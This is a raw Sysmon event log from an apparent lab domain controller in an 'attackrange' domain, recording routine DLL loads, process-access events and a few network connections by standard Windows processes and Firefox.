15:04:55.147{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\IDStore.dll10.0.14393.4169 (rs1_release.210107-1130)Identity StoreMicrosoft® Windows® Operating SystemMicrosoft CorporationIdStore.dllMD5=C361C32146F8C2E67168CFC076DBBF55,SHA256=D27DC85DE98B5C85AAAEEE1FC2EBE0F92B53F82F35F0AC6A49ADAE83456C0740,IMPHASH=E5FDBED6A52D2B5010634A77EC08AD4DtrueMicrosoft WindowsValid 734700x800000000000000054580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.147{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000054579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.147{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000054578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.147{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.147{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 10341000x800000000000000054576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\system32\DllHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 734700x800000000000000054570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.131{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.115{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeC:\Windows\System32\shacctprofile.dll10.0.14393.0 (rs1_release.160715-1616)Shell Accounts Profile ClassesMicrosoft® Windows® Operating SystemMicrosoft Corporationshacctprofile.dllMD5=5FD61CBBA92898CF722A96C6565FDCE3,SHA256=B08D8E9C47A62A748937BB6975DEEE85E5C55F634A4214F46CC5F75D41CD2211,IMPHASH=2C71174EBC4002AB876F4E6F44B03785trueMicrosoft WindowsValid 734700x800000000000000054561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.115{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.115{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe10.0.14393.0 (rs1_release.160715-1616)COM SurrogateMicrosoft® Windows® Operating SystemMicrosoft Corporationdllhost.exeMD5=DA63852A2B0340E94D74EAF0CD444979,SHA256=EE8364C07B3F4F71FA649E0E6C4C73C15D285130E4B16E79890EEBBF89C2164E,IMPHASH=1C99A7F1249FB0C7B924253B69E59F88trueMicrosoft WindowsValid 10341000x800000000000000054559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.115{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.115{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7417-613B-8D0B-00000000F001}2180C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.094{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\tbs.dll10.0.14393.4169 (rs1_release.210107-1130)TBSMicrosoft® Windows® Operating SystemMicrosoft CorporationTBS.DLLMD5=01B8B35BFCBF159C0A3A99367E7BB73A,SHA256=5EDD34B285D6C49CDF230AB1DEE7032EA351040487FAA3F8A821A2CB83B2CE96,IMPHASH=E06F300C583BA7E6B49EF80E64CDF255trueMicrosoft WindowsValid 734700x800000000000000054556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.094{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\apprepapi.dll10.0.14393.3930 (rs1_release.200901-1914)Application Reputation APIs DllMicrosoft® Windows® Operating SystemMicrosoft Corporationapprepapi.dllMD5=512CA32EB87588B184FD4BC64F9C8468,SHA256=4C0B49C1ECE339E9BC55964846EE3227B8D751E119A7A180A04182139758ABB3,IMPHASH=1D668D3C04AA9FB2C73788B882246F96trueMicrosoft WindowsValid 734700x800000000000000054555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.094{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\winsta.dll10.0.14393.0 (rs1_release.160715-1616)Winstation LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationwinsta.dllMD5=12668CEFEE3754CFA61C5699821668B3,SHA256=D0C81619EDE8B846D98417989684EF16DF3A053CC049C7281E40F3359AD5B570,IMPHASH=2E790E44628AED89C2CC17E1E4A5CE1CtrueMicrosoft WindowsValid 734700x800000000000000054554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\apprepsync.dll10.0.14393.3930 (rs1_release.200901-1914)AppRepSync TaskMicrosoft® Windows® Operating SystemMicrosoft CorporationAppRepSync.dllMD5=F244D7BDF072C050B916BA7D66FF092B,SHA256=A22792F6D07E7805D4DCF0569F9F2DB14BAC29A4F2397F4EF1E321748FE8AD0B,IMPHASH=98688EEFF901F29C8892909671C286FEtrueMicrosoft WindowsValid 734700x800000000000000054553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.083{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\wevtapi.dll10.0.14393.3053 (rs1_release_inmarket.190612-1836)Eventing Consumption and Configuration APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtapi.dllMD5=E0D1C6AC18800339A2EC1134A7C899ED,SHA256=E4340ACB47A202B1BFCE678C44BA5B0B171E388021B0B7D0CED19A55AD9712E1,IMPHASH=4CAFDD735088F52AC974373982DCCDF2trueMicrosoft WindowsValid 354300x800000000000000054552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.272{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63112-false35.244.181.201201.181.244.35.bc.googleusercontent.com443https 354300x800000000000000054551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:53.270{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56869- 734700x800000000000000054550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000054549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 734700x800000000000000054548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000054547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\webservices.dll10.0.14393.2312 (rs1_release.180607-1919)Windows Web Services RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationWebServices.dllMD5=3EE43755685D59060FAC0E2F09D67686,SHA256=BF80D9B840C28BC4E8FE9A4E6DBCCCAEE37A108F83428ABA1DD780D5312369D8,IMPHASH=21CAA202FAEFBDF78B727F64E8C79245trueMicrosoft WindowsValid 734700x800000000000000054546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000054545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000054544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000054543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000054541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000054540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000054539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000054538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000054536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.063{7BD73061-7417-613B-8C0B-00000000F001}2496C:\Windows\System32\taskhostw.exeC:\Windows\System32\msasn1.dll10.0.14393.0 